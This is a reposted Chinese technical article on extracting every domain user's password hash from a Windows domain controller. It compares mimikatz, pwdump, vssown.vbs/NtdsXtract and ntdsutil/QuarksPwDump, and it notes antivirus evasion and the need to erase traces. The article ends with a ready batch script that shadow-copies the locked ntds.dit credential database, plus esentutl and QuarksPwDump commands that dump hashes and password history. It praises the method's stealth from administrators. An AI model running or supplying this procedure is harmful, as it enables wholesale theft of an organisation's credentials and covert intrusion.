導出當前域內所有用戶hash的技術整理


0x00目標:

導出當前域內所有用戶的hash

0x01測試環境:

域控:server2008 r2

殺毒軟件:已安裝*

域控權限:可使用net use遠程登陸,不使用3389

0x02測試方法:

1mimikatz

hash數量:只能抓取登陸過的用戶hash,無法抓取所有用戶

免殺:需要免殺

2pwdump

hash數量:無法抓取所有用戶

免殺:需要免殺

3vssown.vbs + libesedb + NtdsXtract

hash數量:所有用戶

免殺:不需要

優點:

獲得信息很全面,可獲得以下信息:

Record ID

User name

User principal name

SAM Account name

SAM Account type

GUID

SID

When created

When changed

Account expires

Password last set

Last logon

Last logon timestamp

Bad password time

Logon count

Bad password count

User Account Control

Ancestors

Password hashes

Password history

Supplemental credentials

Member of

 

缺點:

vssown.vbs使用后需要刪除快照清理痕跡

vssown.vbs偶爾會報錯

數據庫巨大,下載回本地很麻煩

libesedb + NtdsXtract環境搭建麻煩,目前網上中文的教程存在一些錯誤,下載鏈接也已失效,需要自行摸索

vssown.vbs復制出來的ntds.dit數據庫無法使用QuarksPwDump.exe讀取

Tips:
libesedb + NtdsXtract
環境搭建的一點提示:

(download libesedb)

https://github.com/libyal/libesedb/releases/download/20150409/libesedb-experimental-20150409.tar.gz

tar zxvf libesedb-experimental-20150409.tar.gz

cd libesedb-20150409

./configure

make

cd esedbtools/

./esedbexport

(copy ntds.dit to ~/libesedb-20150409/esedbtools)

./esedbexport ./ntds.dit

(wait...)

mv ntds.dit.export/ ../../

download ntdsxtract

http://www.ntdsxtract.com/downloads/ntdsxtract/ntdsxtract_v1_0.zip

unzip ntdsxtract_v1_0.zip

cd NTDSXtract 1.0/

(move SYSTEM to '/root/SYSTEM')

(get passwordhashes )

python dsusers.py ../ntds.dit.export/datatable.3 ../ntds.dit.export/link_table.5 --passwordhashes '/root/SYSTEM'

4ntdsutil.exe + QuarksPwDump.exe

hash數量:所有用戶

免殺:QuarksPwDump.exe需要免殺

優點:

獲得信息很全面 QuarksPwDump.exe可在windows下使用,讀取hash值的操作簡便快捷

缺點:

ntdsutil.exe使用后需要刪除快照清理痕跡 ntdsutil.exe偶爾會報錯 巨大的數據庫,QuarksPwDump.exe讀取偶爾會報錯 server2003shell下無法使用

0x03實際測試:

  • gethashes.exe:沒有源碼,忽略
  • mimikatz:無法抓出所有用戶hash,本機管理員口令也無法導出
  • pwdump:抓取數量不足
  • vssown.vbs + libesedb + NtdsXtract:成功,耗時3+
  • ntdsutil.exe + QuarksPwDump.exentdsutil.exe報錯,失敗

    0x04分析:

    5種方法唯一成功的是vssown.vbs + libesedb + NtdsXtract,但是耗時太久,操作麻煩,下載數據庫容易暴露,vssown.vbs備份的信息容易被管理員發現

    其他方法中可取的地方:vssown.vbs復制數據庫的方法很是巧妙,但存在一些不足,配合域控的at命令執行較為麻煩;QuarksPwDump.exe可在windows下直接使用,免去讀取數據庫的等待,並且QuarksPwDump可獲得源碼,能夠配合實際使用做修改。

    那么大膽設想一下:如果使用QuarksPwDump.exe在域控上直接讀取ntds.dit豈不是最好

    0x05改進:

    1)分析vssown.vbs的復制辦法,找到一種更好的解決辦法,改用ShadowCopy實現ntds.dit的復制 2)對QuarksPwDump的改造,實現命令行下的自動讀取及導出信息

    Tips

    ShadowCopy 是一款增強型的免費文件復制工具,由於使用了微軟卷影副本(`Volume Shadow Copy`)技術,它能夠復制被鎖定的文件或者被其他程序打開的文件,

     

    因此只要是硬盤的上的文件,即使正被程序占用,`ShadowCopy` 都可以拷貝出來。

    0x06最終方案:

    1)使用ShadowCopy的命令行版,編寫bat實現拷貝ntds.dit至當前目錄

    setlocal

    if NOT "%CALLBACK_SCRIPT%"=="" goto :IS_CALLBACK

    set SOURCE_DRIVE_LETTER=%SystemDrive%

    set SOURCE_RELATIVE_PATH=\windows\ntds\ntds.dit

    set DESTINATION_PATH=%~dp0

    @echo ...Determine the scripts to be executed/generated...

    set CALLBACK_SCRIPT=%~dpnx0

    set TEMP_GENERATED_SCRIPT=GeneratedVarsTempScript.cmd

    @echo ...Creating the shadow copy...

    "%~dp0vsshadow.exe" -script=%TEMP_GENERATED_SCRIPT% -exec="%CALLBACK_SCRIPT%" %SOURCE_DRIVE_LETTER%

    del /f %TEMP_GENERATED_SCRIPT%

    @goto :EOF

    :IS_CALLBACK

    setlocal

    @echo ...Obtaining the shadow copy device name...

    call %TEMP_GENERATED_SCRIPT%

    @echo ...Copying from the shadow copy to the destination path...

    copy "%SHADOW_DEVICE_1%\%SOURCE_RELATIVE_PATH%" %DESTINATION_PATH%

    參考鏈接: http://blogs.msdn.com/b/adioltean/archive/2005/01/05/346793.aspx

    2)使用QuarksPwDump直接讀取信息並將結果導出至文件,先執行

    esentutl /p /o ntds.dit

    修復復制出來的數據庫

    QuarksPwDump.exe -dhb -hist -nt ntds.dit -o log.txt

    讀取並導出。

    注:實際使用時ntds.ditlog.txt需要加絕對路徑

    Tips

    QuarksPwDump.exeDump various types of Windows credentials without injecting in any process.

    源碼下載鏈接,vs2010直接編譯即可

    https://github.com/quarkslab/quarkspwdump

    0x07小結:

    ShadowCopy+QuarksPwDump

    hash數量:所有用戶

    免殺:不需要

    優點:

    獲得信息全面

    bat一鍵搞定,簡單高效

    無需下載ntds.dit,隱蔽性高


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2026 CODEPRJ.COM